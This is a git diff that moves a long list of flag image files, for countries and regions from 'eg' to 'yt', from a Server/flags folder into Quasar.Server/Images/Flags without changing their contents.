diff --git a/Server/flags/eg.png b/Quasar.Server/Images/Flags/eg.png
similarity index 100%
rename from Server/flags/eg.png
rename to Quasar.Server/Images/Flags/eg.png
diff --git a/Server/flags/eh.png b/Quasar.Server/Images/Flags/eh.png
similarity index 100%
rename from Server/flags/eh.png
rename to Quasar.Server/Images/Flags/eh.png
diff --git a/Server/flags/england.png b/Quasar.Server/Images/Flags/england.png
similarity index 100%
rename from Server/flags/england.png
rename to Quasar.Server/Images/Flags/england.png
diff --git a/Server/flags/er.png b/Quasar.Server/Images/Flags/er.png
similarity index 100%
rename from Server/flags/er.png
rename to Quasar.Server/Images/Flags/er.png
diff --git a/Server/flags/es.png b/Quasar.Server/Images/Flags/es.png
similarity index 100%
rename from Server/flags/es.png
rename to Quasar.Server/Images/Flags/es.png
diff --git a/Server/flags/et.png b/Quasar.Server/Images/Flags/et.png
similarity index 100%
rename from Server/flags/et.png
rename to Quasar.Server/Images/Flags/et.png
diff --git a/Server/flags/europeanunion.png b/Quasar.Server/Images/Flags/europeanunion.png
similarity index 100%
rename from Server/flags/europeanunion.png
rename to Quasar.Server/Images/Flags/europeanunion.png
diff --git a/Server/flags/fam.png b/Quasar.Server/Images/Flags/fam.png
similarity index 100%
rename from Server/flags/fam.png
rename to Quasar.Server/Images/Flags/fam.png
diff --git a/Server/flags/fi.png b/Quasar.Server/Images/Flags/fi.png
similarity index 100%
rename from Server/flags/fi.png
rename to Quasar.Server/Images/Flags/fi.png
diff --git a/Server/flags/fj.png b/Quasar.Server/Images/Flags/fj.png
similarity index 100%
rename from Server/flags/fj.png
rename to Quasar.Server/Images/Flags/fj.png
diff --git a/Server/flags/fk.png b/Quasar.Server/Images/Flags/fk.png
similarity index 100%
rename from Server/flags/fk.png
rename to Quasar.Server/Images/Flags/fk.png
diff --git a/Server/flags/fm.png b/Quasar.Server/Images/Flags/fm.png
similarity index 100%
rename from Server/flags/fm.png
rename to Quasar.Server/Images/Flags/fm.png
diff --git a/Server/flags/fo.png b/Quasar.Server/Images/Flags/fo.png
similarity index 100%
rename from Server/flags/fo.png
rename to Quasar.Server/Images/Flags/fo.png
diff --git a/Server/flags/fr.png b/Quasar.Server/Images/Flags/fr.png
similarity index 100%
rename from Server/flags/fr.png
rename to Quasar.Server/Images/Flags/fr.png
diff --git a/Server/flags/ga.png b/Quasar.Server/Images/Flags/ga.png
similarity index 100%
rename from Server/flags/ga.png
rename to Quasar.Server/Images/Flags/ga.png
diff --git a/Server/flags/gb.png b/Quasar.Server/Images/Flags/gb.png
similarity index 100%
rename from Server/flags/gb.png
rename to Quasar.Server/Images/Flags/gb.png
diff --git a/Server/flags/gd.png b/Quasar.Server/Images/Flags/gd.png
similarity index 100%
rename from Server/flags/gd.png
rename to Quasar.Server/Images/Flags/gd.png
diff --git a/Server/flags/ge.png b/Quasar.Server/Images/Flags/ge.png
similarity index 100%
rename from Server/flags/ge.png
rename to Quasar.Server/Images/Flags/ge.png
diff --git a/Server/flags/gf.png b/Quasar.Server/Images/Flags/gf.png
similarity index 100%
rename from Server/flags/gf.png
rename to Quasar.Server/Images/Flags/gf.png
diff --git a/Server/flags/gh.png b/Quasar.Server/Images/Flags/gh.png
similarity index 100%
rename from Server/flags/gh.png
rename to Quasar.Server/Images/Flags/gh.png
diff --git a/Server/flags/gi.png b/Quasar.Server/Images/Flags/gi.png
similarity index 100%
rename from Server/flags/gi.png
rename to Quasar.Server/Images/Flags/gi.png
diff --git a/Server/flags/gl.png b/Quasar.Server/Images/Flags/gl.png
similarity index 100%
rename from Server/flags/gl.png
rename to Quasar.Server/Images/Flags/gl.png
diff --git a/Server/flags/gm.png b/Quasar.Server/Images/Flags/gm.png
similarity index 100%
rename from Server/flags/gm.png
rename to Quasar.Server/Images/Flags/gm.png
diff --git a/Server/flags/gn.png b/Quasar.Server/Images/Flags/gn.png
similarity index 100%
rename from Server/flags/gn.png
rename to Quasar.Server/Images/Flags/gn.png
diff --git a/Server/flags/gp.png b/Quasar.Server/Images/Flags/gp.png
similarity index 100%
rename from Server/flags/gp.png
rename to Quasar.Server/Images/Flags/gp.png
diff --git a/Server/flags/gq.png b/Quasar.Server/Images/Flags/gq.png
similarity index 100%
rename from Server/flags/gq.png
rename to Quasar.Server/Images/Flags/gq.png
diff --git a/Server/flags/gr.png b/Quasar.Server/Images/Flags/gr.png
similarity index 100%
rename from Server/flags/gr.png
rename to Quasar.Server/Images/Flags/gr.png
diff --git a/Server/flags/gs.png b/Quasar.Server/Images/Flags/gs.png
similarity index 100%
rename from Server/flags/gs.png
rename to Quasar.Server/Images/Flags/gs.png
diff --git a/Server/flags/gt.png b/Quasar.Server/Images/Flags/gt.png
similarity index 100%
rename from Server/flags/gt.png
rename to Quasar.Server/Images/Flags/gt.png
diff --git a/Server/flags/gu.png b/Quasar.Server/Images/Flags/gu.png
similarity index 100%
rename from Server/flags/gu.png
rename to Quasar.Server/Images/Flags/gu.png
diff --git a/Server/flags/gw.png b/Quasar.Server/Images/Flags/gw.png
similarity index 100%
rename from Server/flags/gw.png
rename to Quasar.Server/Images/Flags/gw.png
diff --git a/Server/flags/gy.png b/Quasar.Server/Images/Flags/gy.png
similarity index 100%
rename from Server/flags/gy.png
rename to Quasar.Server/Images/Flags/gy.png
diff --git a/Server/flags/hk.png b/Quasar.Server/Images/Flags/hk.png
similarity index 100%
rename from Server/flags/hk.png
rename to Quasar.Server/Images/Flags/hk.png
diff --git a/Server/flags/hm.png b/Quasar.Server/Images/Flags/hm.png
similarity index 100%
rename from Server/flags/hm.png
rename to Quasar.Server/Images/Flags/hm.png
diff --git a/Server/flags/hn.png b/Quasar.Server/Images/Flags/hn.png
similarity index 100%
rename from Server/flags/hn.png
rename to Quasar.Server/Images/Flags/hn.png
diff --git a/Server/flags/hr.png b/Quasar.Server/Images/Flags/hr.png
similarity index 100%
rename from Server/flags/hr.png
rename to Quasar.Server/Images/Flags/hr.png
diff --git a/Server/flags/ht.png b/Quasar.Server/Images/Flags/ht.png
similarity index 100%
rename from Server/flags/ht.png
rename to Quasar.Server/Images/Flags/ht.png
diff --git a/Server/flags/hu.png b/Quasar.Server/Images/Flags/hu.png
similarity index 100%
rename from Server/flags/hu.png
rename to Quasar.Server/Images/Flags/hu.png
diff --git a/Server/flags/id.png b/Quasar.Server/Images/Flags/id.png
similarity index 100%
rename from Server/flags/id.png
rename to Quasar.Server/Images/Flags/id.png
diff --git a/Server/flags/ie.png b/Quasar.Server/Images/Flags/ie.png
similarity index 100%
rename from Server/flags/ie.png
rename to Quasar.Server/Images/Flags/ie.png
diff --git a/Server/flags/il.png b/Quasar.Server/Images/Flags/il.png
similarity index 100%
rename from Server/flags/il.png
rename to Quasar.Server/Images/Flags/il.png
diff --git a/Server/flags/in.png b/Quasar.Server/Images/Flags/in.png
similarity index 100%
rename from Server/flags/in.png
rename to Quasar.Server/Images/Flags/in.png
diff --git a/Server/flags/io.png b/Quasar.Server/Images/Flags/io.png
similarity index 100%
rename from Server/flags/io.png
rename to Quasar.Server/Images/Flags/io.png
diff --git a/Server/flags/iq.png b/Quasar.Server/Images/Flags/iq.png
similarity index 100%
rename from Server/flags/iq.png
rename to Quasar.Server/Images/Flags/iq.png
diff --git a/Server/flags/ir.png b/Quasar.Server/Images/Flags/ir.png
similarity index 100%
rename from Server/flags/ir.png
rename to Quasar.Server/Images/Flags/ir.png
diff --git a/Server/flags/is.png b/Quasar.Server/Images/Flags/is.png
similarity index 100%
rename from Server/flags/is.png
rename to Quasar.Server/Images/Flags/is.png
diff --git a/Server/flags/it.png b/Quasar.Server/Images/Flags/it.png
similarity index 100%
rename from Server/flags/it.png
rename to Quasar.Server/Images/Flags/it.png
diff --git a/Server/flags/jm.png b/Quasar.Server/Images/Flags/jm.png
similarity index 100%
rename from Server/flags/jm.png
rename to Quasar.Server/Images/Flags/jm.png
diff --git a/Server/flags/jo.png b/Quasar.Server/Images/Flags/jo.png
similarity index 100%
rename from Server/flags/jo.png
rename to Quasar.Server/Images/Flags/jo.png
diff --git a/Server/flags/jp.png b/Quasar.Server/Images/Flags/jp.png
similarity index 100%
rename from Server/flags/jp.png
rename to Quasar.Server/Images/Flags/jp.png
diff --git a/Server/flags/ke.png b/Quasar.Server/Images/Flags/ke.png
similarity index 100%
rename from Server/flags/ke.png
rename to Quasar.Server/Images/Flags/ke.png
diff --git a/Server/flags/kg.png b/Quasar.Server/Images/Flags/kg.png
similarity index 100%
rename from Server/flags/kg.png
rename to Quasar.Server/Images/Flags/kg.png
diff --git a/Server/flags/kh.png b/Quasar.Server/Images/Flags/kh.png
similarity index 100%
rename from Server/flags/kh.png
rename to Quasar.Server/Images/Flags/kh.png
diff --git a/Server/flags/ki.png b/Quasar.Server/Images/Flags/ki.png
similarity index 100%
rename from Server/flags/ki.png
rename to Quasar.Server/Images/Flags/ki.png
diff --git a/Server/flags/km.png b/Quasar.Server/Images/Flags/km.png
similarity index 100%
rename from Server/flags/km.png
rename to Quasar.Server/Images/Flags/km.png
diff --git a/Server/flags/kn.png b/Quasar.Server/Images/Flags/kn.png
similarity index 100%
rename from Server/flags/kn.png
rename to Quasar.Server/Images/Flags/kn.png
diff --git a/Server/flags/kp.png b/Quasar.Server/Images/Flags/kp.png
similarity index 100%
rename from Server/flags/kp.png
rename to Quasar.Server/Images/Flags/kp.png
diff --git a/Server/flags/kr.png b/Quasar.Server/Images/Flags/kr.png
similarity index 100%
rename from Server/flags/kr.png
rename to Quasar.Server/Images/Flags/kr.png
diff --git a/Server/flags/kw.png b/Quasar.Server/Images/Flags/kw.png
similarity index 100%
rename from Server/flags/kw.png
rename to Quasar.Server/Images/Flags/kw.png
diff --git a/Server/flags/ky.png b/Quasar.Server/Images/Flags/ky.png
similarity index 100%
rename from Server/flags/ky.png
rename to Quasar.Server/Images/Flags/ky.png
diff --git a/Server/flags/kz.png b/Quasar.Server/Images/Flags/kz.png
similarity index 100%
rename from Server/flags/kz.png
rename to Quasar.Server/Images/Flags/kz.png
diff --git a/Server/flags/la.png b/Quasar.Server/Images/Flags/la.png
similarity index 100%
rename from Server/flags/la.png
rename to Quasar.Server/Images/Flags/la.png
diff --git a/Server/flags/lb.png b/Quasar.Server/Images/Flags/lb.png
similarity index 100%
rename from Server/flags/lb.png
rename to Quasar.Server/Images/Flags/lb.png
diff --git a/Server/flags/lc.png b/Quasar.Server/Images/Flags/lc.png
similarity index 100%
rename from Server/flags/lc.png
rename to Quasar.Server/Images/Flags/lc.png
diff --git a/Server/flags/li.png b/Quasar.Server/Images/Flags/li.png
similarity index 100%
rename from Server/flags/li.png
rename to Quasar.Server/Images/Flags/li.png
diff --git a/Server/flags/lk.png b/Quasar.Server/Images/Flags/lk.png
similarity index 100%
rename from Server/flags/lk.png
rename to Quasar.Server/Images/Flags/lk.png
diff --git a/Server/flags/lr.png b/Quasar.Server/Images/Flags/lr.png
similarity index 100%
rename from Server/flags/lr.png
rename to Quasar.Server/Images/Flags/lr.png
diff --git a/Server/flags/ls.png b/Quasar.Server/Images/Flags/ls.png
similarity index 100%
rename from Server/flags/ls.png
rename to Quasar.Server/Images/Flags/ls.png
diff --git a/Server/flags/lt.png b/Quasar.Server/Images/Flags/lt.png
similarity index 100%
rename from Server/flags/lt.png
rename to Quasar.Server/Images/Flags/lt.png
diff --git a/Server/flags/lu.png b/Quasar.Server/Images/Flags/lu.png
similarity index 100%
rename from Server/flags/lu.png
rename to Quasar.Server/Images/Flags/lu.png
diff --git a/Server/flags/lv.png b/Quasar.Server/Images/Flags/lv.png
similarity index 100%
rename from Server/flags/lv.png
rename to Quasar.Server/Images/Flags/lv.png
diff --git a/Server/flags/ly.png b/Quasar.Server/Images/Flags/ly.png
similarity index 100%
rename from Server/flags/ly.png
rename to Quasar.Server/Images/Flags/ly.png
diff --git a/Server/flags/ma.png b/Quasar.Server/Images/Flags/ma.png
similarity index 100%
rename from Server/flags/ma.png
rename to Quasar.Server/Images/Flags/ma.png
diff --git a/Server/flags/mc.png b/Quasar.Server/Images/Flags/mc.png
similarity index 100%
rename from Server/flags/mc.png
rename to Quasar.Server/Images/Flags/mc.png
diff --git a/Server/flags/md.png b/Quasar.Server/Images/Flags/md.png
similarity index 100%
rename from Server/flags/md.png
rename to Quasar.Server/Images/Flags/md.png
diff --git a/Server/flags/me.png b/Quasar.Server/Images/Flags/me.png
similarity index 100%
rename from Server/flags/me.png
rename to Quasar.Server/Images/Flags/me.png
diff --git a/Server/flags/mg.png b/Quasar.Server/Images/Flags/mg.png
similarity index 100%
rename from Server/flags/mg.png
rename to Quasar.Server/Images/Flags/mg.png
diff --git a/Server/flags/mh.png b/Quasar.Server/Images/Flags/mh.png
similarity index 100%
rename from Server/flags/mh.png
rename to Quasar.Server/Images/Flags/mh.png
diff --git a/Server/flags/mk.png b/Quasar.Server/Images/Flags/mk.png
similarity index 100%
rename from Server/flags/mk.png
rename to Quasar.Server/Images/Flags/mk.png
diff --git a/Server/flags/ml.png b/Quasar.Server/Images/Flags/ml.png
similarity index 100%
rename from Server/flags/ml.png
rename to Quasar.Server/Images/Flags/ml.png
diff --git a/Server/flags/mm.png b/Quasar.Server/Images/Flags/mm.png
similarity index 100%
rename from Server/flags/mm.png
rename to Quasar.Server/Images/Flags/mm.png
diff --git a/Server/flags/mn.png b/Quasar.Server/Images/Flags/mn.png
similarity index 100%
rename from Server/flags/mn.png
rename to Quasar.Server/Images/Flags/mn.png
diff --git a/Server/flags/mo.png b/Quasar.Server/Images/Flags/mo.png
similarity index 100%
rename from Server/flags/mo.png
rename to Quasar.Server/Images/Flags/mo.png
diff --git a/Server/flags/mp.png b/Quasar.Server/Images/Flags/mp.png
similarity index 100%
rename from Server/flags/mp.png
rename to Quasar.Server/Images/Flags/mp.png
diff --git a/Server/flags/mq.png b/Quasar.Server/Images/Flags/mq.png
similarity index 100%
rename from Server/flags/mq.png
rename to Quasar.Server/Images/Flags/mq.png
diff --git a/Server/flags/mr.png b/Quasar.Server/Images/Flags/mr.png
similarity index 100%
rename from Server/flags/mr.png
rename to Quasar.Server/Images/Flags/mr.png
diff --git a/Server/flags/ms.png b/Quasar.Server/Images/Flags/ms.png
similarity index 100%
rename from Server/flags/ms.png
rename to Quasar.Server/Images/Flags/ms.png
diff --git a/Server/flags/mt.png b/Quasar.Server/Images/Flags/mt.png
similarity index 100%
rename from Server/flags/mt.png
rename to Quasar.Server/Images/Flags/mt.png
diff --git a/Server/flags/mu.png b/Quasar.Server/Images/Flags/mu.png
similarity index 100%
rename from Server/flags/mu.png
rename to Quasar.Server/Images/Flags/mu.png
diff --git a/Server/flags/mv.png b/Quasar.Server/Images/Flags/mv.png
similarity index 100%
rename from Server/flags/mv.png
rename to Quasar.Server/Images/Flags/mv.png
diff --git a/Server/flags/mw.png b/Quasar.Server/Images/Flags/mw.png
similarity index 100%
rename from Server/flags/mw.png
rename to Quasar.Server/Images/Flags/mw.png
diff --git a/Server/flags/mx.png b/Quasar.Server/Images/Flags/mx.png
similarity index 100%
rename from Server/flags/mx.png
rename to Quasar.Server/Images/Flags/mx.png
diff --git a/Server/flags/my.png b/Quasar.Server/Images/Flags/my.png
similarity index 100%
rename from Server/flags/my.png
rename to Quasar.Server/Images/Flags/my.png
diff --git a/Server/flags/mz.png b/Quasar.Server/Images/Flags/mz.png
similarity index 100%
rename from Server/flags/mz.png
rename to Quasar.Server/Images/Flags/mz.png
diff --git a/Server/flags/na.png b/Quasar.Server/Images/Flags/na.png
similarity index 100%
rename from Server/flags/na.png
rename to Quasar.Server/Images/Flags/na.png
diff --git a/Server/flags/nc.png b/Quasar.Server/Images/Flags/nc.png
similarity index 100%
rename from Server/flags/nc.png
rename to Quasar.Server/Images/Flags/nc.png
diff --git a/Server/flags/ne.png b/Quasar.Server/Images/Flags/ne.png
similarity index 100%
rename from Server/flags/ne.png
rename to Quasar.Server/Images/Flags/ne.png
diff --git a/Server/flags/nf.png b/Quasar.Server/Images/Flags/nf.png
similarity index 100%
rename from Server/flags/nf.png
rename to Quasar.Server/Images/Flags/nf.png
diff --git a/Server/flags/ng.png b/Quasar.Server/Images/Flags/ng.png
similarity index 100%
rename from Server/flags/ng.png
rename to Quasar.Server/Images/Flags/ng.png
diff --git a/Server/flags/ni.png b/Quasar.Server/Images/Flags/ni.png
similarity index 100%
rename from Server/flags/ni.png
rename to Quasar.Server/Images/Flags/ni.png
diff --git a/Server/flags/nl.png b/Quasar.Server/Images/Flags/nl.png
similarity index 100%
rename from Server/flags/nl.png
rename to Quasar.Server/Images/Flags/nl.png
diff --git a/Server/flags/no.png b/Quasar.Server/Images/Flags/no.png
similarity index 100%
rename from Server/flags/no.png
rename to Quasar.Server/Images/Flags/no.png
diff --git a/Server/flags/np.png b/Quasar.Server/Images/Flags/np.png
similarity index 100%
rename from Server/flags/np.png
rename to Quasar.Server/Images/Flags/np.png
diff --git a/Server/flags/nr.png b/Quasar.Server/Images/Flags/nr.png
similarity index 100%
rename from Server/flags/nr.png
rename to Quasar.Server/Images/Flags/nr.png
diff --git a/Server/flags/nu.png b/Quasar.Server/Images/Flags/nu.png
similarity index 100%
rename from Server/flags/nu.png
rename to Quasar.Server/Images/Flags/nu.png
diff --git a/Server/flags/nz.png b/Quasar.Server/Images/Flags/nz.png
similarity index 100%
rename from Server/flags/nz.png
rename to Quasar.Server/Images/Flags/nz.png
diff --git a/Server/flags/om.png b/Quasar.Server/Images/Flags/om.png
similarity index 100%
rename from Server/flags/om.png
rename to Quasar.Server/Images/Flags/om.png
diff --git a/Server/flags/pa.png b/Quasar.Server/Images/Flags/pa.png
similarity index 100%
rename from Server/flags/pa.png
rename to Quasar.Server/Images/Flags/pa.png
diff --git a/Server/flags/pe.png b/Quasar.Server/Images/Flags/pe.png
similarity index 100%
rename from Server/flags/pe.png
rename to Quasar.Server/Images/Flags/pe.png
diff --git a/Server/flags/pf.png b/Quasar.Server/Images/Flags/pf.png
similarity index 100%
rename from Server/flags/pf.png
rename to Quasar.Server/Images/Flags/pf.png
diff --git a/Server/flags/pg.png b/Quasar.Server/Images/Flags/pg.png
similarity index 100%
rename from Server/flags/pg.png
rename to Quasar.Server/Images/Flags/pg.png
diff --git a/Server/flags/ph.png b/Quasar.Server/Images/Flags/ph.png
similarity index 100%
rename from Server/flags/ph.png
rename to Quasar.Server/Images/Flags/ph.png
diff --git a/Server/flags/pk.png b/Quasar.Server/Images/Flags/pk.png
similarity index 100%
rename from Server/flags/pk.png
rename to Quasar.Server/Images/Flags/pk.png
diff --git a/Server/flags/pl.png b/Quasar.Server/Images/Flags/pl.png
similarity index 100%
rename from Server/flags/pl.png
rename to Quasar.Server/Images/Flags/pl.png
diff --git a/Server/flags/pm.png b/Quasar.Server/Images/Flags/pm.png
similarity index 100%
rename from Server/flags/pm.png
rename to Quasar.Server/Images/Flags/pm.png
diff --git a/Server/flags/pn.png b/Quasar.Server/Images/Flags/pn.png
similarity index 100%
rename from Server/flags/pn.png
rename to Quasar.Server/Images/Flags/pn.png
diff --git a/Server/flags/pr.png b/Quasar.Server/Images/Flags/pr.png
similarity index 100%
rename from Server/flags/pr.png
rename to Quasar.Server/Images/Flags/pr.png
diff --git a/Server/flags/ps.png b/Quasar.Server/Images/Flags/ps.png
similarity index 100%
rename from Server/flags/ps.png
rename to Quasar.Server/Images/Flags/ps.png
diff --git a/Server/flags/pt.png b/Quasar.Server/Images/Flags/pt.png
similarity index 100%
rename from Server/flags/pt.png
rename to Quasar.Server/Images/Flags/pt.png
diff --git a/Server/flags/pw.png b/Quasar.Server/Images/Flags/pw.png
similarity index 100%
rename from Server/flags/pw.png
rename to Quasar.Server/Images/Flags/pw.png
diff --git a/Server/flags/py.png b/Quasar.Server/Images/Flags/py.png
similarity index 100%
rename from Server/flags/py.png
rename to Quasar.Server/Images/Flags/py.png
diff --git a/Server/flags/qa.png b/Quasar.Server/Images/Flags/qa.png
similarity index 100%
rename from Server/flags/qa.png
rename to Quasar.Server/Images/Flags/qa.png
diff --git a/Server/flags/re.png b/Quasar.Server/Images/Flags/re.png
similarity index 100%
rename from Server/flags/re.png
rename to Quasar.Server/Images/Flags/re.png
diff --git a/Server/flags/ro.png b/Quasar.Server/Images/Flags/ro.png
similarity index 100%
rename from Server/flags/ro.png
rename to Quasar.Server/Images/Flags/ro.png
diff --git a/Server/flags/rs.png b/Quasar.Server/Images/Flags/rs.png
similarity index 100%
rename from Server/flags/rs.png
rename to Quasar.Server/Images/Flags/rs.png
diff --git a/Server/flags/ru.png b/Quasar.Server/Images/Flags/ru.png
similarity index 100%
rename from Server/flags/ru.png
rename to Quasar.Server/Images/Flags/ru.png
diff --git a/Server/flags/rw.png b/Quasar.Server/Images/Flags/rw.png
similarity index 100%
rename from Server/flags/rw.png
rename to Quasar.Server/Images/Flags/rw.png
diff --git a/Server/flags/sa.png b/Quasar.Server/Images/Flags/sa.png
similarity index 100%
rename from Server/flags/sa.png
rename to Quasar.Server/Images/Flags/sa.png
diff --git a/Server/flags/sb.png b/Quasar.Server/Images/Flags/sb.png
similarity index 100%
rename from Server/flags/sb.png
rename to Quasar.Server/Images/Flags/sb.png
diff --git a/Server/flags/sc.png b/Quasar.Server/Images/Flags/sc.png
similarity index 100%
rename from Server/flags/sc.png
rename to Quasar.Server/Images/Flags/sc.png
diff --git a/Server/flags/scotland.png b/Quasar.Server/Images/Flags/scotland.png
similarity index 100%
rename from Server/flags/scotland.png
rename to Quasar.Server/Images/Flags/scotland.png
diff --git a/Server/flags/sd.png b/Quasar.Server/Images/Flags/sd.png
similarity index 100%
rename from Server/flags/sd.png
rename to Quasar.Server/Images/Flags/sd.png
diff --git a/Server/flags/se.png b/Quasar.Server/Images/Flags/se.png
similarity index 100%
rename from Server/flags/se.png
rename to Quasar.Server/Images/Flags/se.png
diff --git a/Server/flags/sg.png b/Quasar.Server/Images/Flags/sg.png
similarity index 100%
rename from Server/flags/sg.png
rename to Quasar.Server/Images/Flags/sg.png
diff --git a/Server/flags/sh.png b/Quasar.Server/Images/Flags/sh.png
similarity index 100%
rename from Server/flags/sh.png
rename to Quasar.Server/Images/Flags/sh.png
diff --git a/Server/flags/si.png b/Quasar.Server/Images/Flags/si.png
similarity index 100%
rename from Server/flags/si.png
rename to Quasar.Server/Images/Flags/si.png
diff --git a/Server/flags/sj.png b/Quasar.Server/Images/Flags/sj.png
similarity index 100%
rename from Server/flags/sj.png
rename to Quasar.Server/Images/Flags/sj.png
diff --git a/Server/flags/sk.png b/Quasar.Server/Images/Flags/sk.png
similarity index 100%
rename from Server/flags/sk.png
rename to Quasar.Server/Images/Flags/sk.png
diff --git a/Server/flags/sl.png b/Quasar.Server/Images/Flags/sl.png
similarity index 100%
rename from Server/flags/sl.png
rename to Quasar.Server/Images/Flags/sl.png
diff --git a/Server/flags/sm.png b/Quasar.Server/Images/Flags/sm.png
similarity index 100%
rename from Server/flags/sm.png
rename to Quasar.Server/Images/Flags/sm.png
diff --git a/Server/flags/sn.png b/Quasar.Server/Images/Flags/sn.png
similarity index 100%
rename from Server/flags/sn.png
rename to Quasar.Server/Images/Flags/sn.png
diff --git a/Server/flags/so.png b/Quasar.Server/Images/Flags/so.png
similarity index 100%
rename from Server/flags/so.png
rename to Quasar.Server/Images/Flags/so.png
diff --git a/Server/flags/sr.png b/Quasar.Server/Images/Flags/sr.png
similarity index 100%
rename from Server/flags/sr.png
rename to Quasar.Server/Images/Flags/sr.png
diff --git a/Server/flags/st.png b/Quasar.Server/Images/Flags/st.png
similarity index 100%
rename from Server/flags/st.png
rename to Quasar.Server/Images/Flags/st.png
diff --git a/Server/flags/sv.png b/Quasar.Server/Images/Flags/sv.png
similarity index 100%
rename from Server/flags/sv.png
rename to Quasar.Server/Images/Flags/sv.png
diff --git a/Server/flags/sy.png b/Quasar.Server/Images/Flags/sy.png
similarity index 100%
rename from Server/flags/sy.png
rename to Quasar.Server/Images/Flags/sy.png
diff --git a/Server/flags/sz.png b/Quasar.Server/Images/Flags/sz.png
similarity index 100%
rename from Server/flags/sz.png
rename to Quasar.Server/Images/Flags/sz.png
diff --git a/Server/flags/tc.png b/Quasar.Server/Images/Flags/tc.png
similarity index 100%
rename from Server/flags/tc.png
rename to Quasar.Server/Images/Flags/tc.png
diff --git a/Server/flags/td.png b/Quasar.Server/Images/Flags/td.png
similarity index 100%
rename from Server/flags/td.png
rename to Quasar.Server/Images/Flags/td.png
diff --git a/Server/flags/tf.png b/Quasar.Server/Images/Flags/tf.png
similarity index 100%
rename from Server/flags/tf.png
rename to Quasar.Server/Images/Flags/tf.png
diff --git a/Server/flags/tg.png b/Quasar.Server/Images/Flags/tg.png
similarity index 100%
rename from Server/flags/tg.png
rename to Quasar.Server/Images/Flags/tg.png
diff --git a/Server/flags/th.png b/Quasar.Server/Images/Flags/th.png
similarity index 100%
rename from Server/flags/th.png
rename to Quasar.Server/Images/Flags/th.png
diff --git a/Server/flags/tj.png b/Quasar.Server/Images/Flags/tj.png
similarity index 100%
rename from Server/flags/tj.png
rename to Quasar.Server/Images/Flags/tj.png
diff --git a/Server/flags/tk.png b/Quasar.Server/Images/Flags/tk.png
similarity index 100%
rename from Server/flags/tk.png
rename to Quasar.Server/Images/Flags/tk.png
diff --git a/Server/flags/tl.png b/Quasar.Server/Images/Flags/tl.png
similarity index 100%
rename from Server/flags/tl.png
rename to Quasar.Server/Images/Flags/tl.png
diff --git a/Server/flags/tm.png b/Quasar.Server/Images/Flags/tm.png
similarity index 100%
rename from Server/flags/tm.png
rename to Quasar.Server/Images/Flags/tm.png
diff --git a/Server/flags/tn.png b/Quasar.Server/Images/Flags/tn.png
similarity index 100%
rename from Server/flags/tn.png
rename to Quasar.Server/Images/Flags/tn.png
diff --git a/Server/flags/to.png b/Quasar.Server/Images/Flags/to.png
similarity index 100%
rename from Server/flags/to.png
rename to Quasar.Server/Images/Flags/to.png
diff --git a/Server/flags/tr.png b/Quasar.Server/Images/Flags/tr.png
similarity index 100%
rename from Server/flags/tr.png
rename to Quasar.Server/Images/Flags/tr.png
diff --git a/Server/flags/tt.png b/Quasar.Server/Images/Flags/tt.png
similarity index 100%
rename from Server/flags/tt.png
rename to Quasar.Server/Images/Flags/tt.png
diff --git a/Server/flags/tv.png b/Quasar.Server/Images/Flags/tv.png
similarity index 100%
rename from Server/flags/tv.png
rename to Quasar.Server/Images/Flags/tv.png
diff --git a/Server/flags/tw.png b/Quasar.Server/Images/Flags/tw.png
similarity index 100%
rename from Server/flags/tw.png
rename to Quasar.Server/Images/Flags/tw.png
diff --git a/Server/flags/tz.png b/Quasar.Server/Images/Flags/tz.png
similarity index 100%
rename from Server/flags/tz.png
rename to Quasar.Server/Images/Flags/tz.png
diff --git a/Server/flags/ua.png b/Quasar.Server/Images/Flags/ua.png
similarity index 100%
rename from Server/flags/ua.png
rename to Quasar.Server/Images/Flags/ua.png
diff --git a/Server/flags/ug.png b/Quasar.Server/Images/Flags/ug.png
similarity index 100%
rename from Server/flags/ug.png
rename to Quasar.Server/Images/Flags/ug.png
diff --git a/Server/flags/um.png b/Quasar.Server/Images/Flags/um.png
similarity index 100%
rename from Server/flags/um.png
rename to Quasar.Server/Images/Flags/um.png
diff --git a/Server/flags/us.png b/Quasar.Server/Images/Flags/us.png
similarity index 100%
rename from Server/flags/us.png
rename to Quasar.Server/Images/Flags/us.png
diff --git a/Server/flags/uy.png b/Quasar.Server/Images/Flags/uy.png
similarity index 100%
rename from Server/flags/uy.png
rename to Quasar.Server/Images/Flags/uy.png
diff --git a/Server/flags/uz.png b/Quasar.Server/Images/Flags/uz.png
similarity index 100%
rename from Server/flags/uz.png
rename to Quasar.Server/Images/Flags/uz.png
diff --git a/Server/flags/va.png b/Quasar.Server/Images/Flags/va.png
similarity index 100%
rename from Server/flags/va.png
rename to Quasar.Server/Images/Flags/va.png
diff --git a/Server/flags/vc.png b/Quasar.Server/Images/Flags/vc.png
similarity index 100%
rename from Server/flags/vc.png
rename to Quasar.Server/Images/Flags/vc.png
diff --git a/Server/flags/ve.png b/Quasar.Server/Images/Flags/ve.png
similarity index 100%
rename from Server/flags/ve.png
rename to Quasar.Server/Images/Flags/ve.png
diff --git a/Server/flags/vg.png b/Quasar.Server/Images/Flags/vg.png
similarity index 100%
rename from Server/flags/vg.png
rename to Quasar.Server/Images/Flags/vg.png
diff --git a/Server/flags/vi.png b/Quasar.Server/Images/Flags/vi.png
similarity index 100%
rename from Server/flags/vi.png
rename to Quasar.Server/Images/Flags/vi.png
diff --git a/Server/flags/vn.png b/Quasar.Server/Images/Flags/vn.png
similarity index 100%
rename from Server/flags/vn.png
rename to Quasar.Server/Images/Flags/vn.png
diff --git a/Server/flags/vu.png b/Quasar.Server/Images/Flags/vu.png
similarity index 100%
rename from Server/flags/vu.png
rename to Quasar.Server/Images/Flags/vu.png
diff --git a/Server/flags/wales.png b/Quasar.Server/Images/Flags/wales.png
similarity index 100%
rename from Server/flags/wales.png
rename to Quasar.Server/Images/Flags/wales.png
diff --git a/Server/flags/wf.png b/Quasar.Server/Images/Flags/wf.png
similarity index 100%
rename from Server/flags/wf.png
rename to Quasar.Server/Images/Flags/wf.png
diff --git a/Server/flags/ws.png b/Quasar.Server/Images/Flags/ws.png
similarity index 100%
rename from Server/flags/ws.png
rename to Quasar.Server/Images/Flags/ws.png
diff --git a/Server/flags/xy.png b/Quasar.Server/Images/Flags/xy.png
similarity index 100%
rename from Server/flags/xy.png
rename to Quasar.Server/Images/Flags/xy.png
diff --git a/Server/flags/ye.png b/Quasar.Server/Images/Flags/ye.png
similarity index 100%
rename from Server/flags/ye.png
rename to Quasar.Server/Images/Flags/ye.png
diff --git a/Server/flags/yt.png b/Quasar.Server/Images/Flags/yt.png
similarity index 100%
rename from Server/flags/yt.png
rename to Quasar.Server/Images/Flags/yt.png
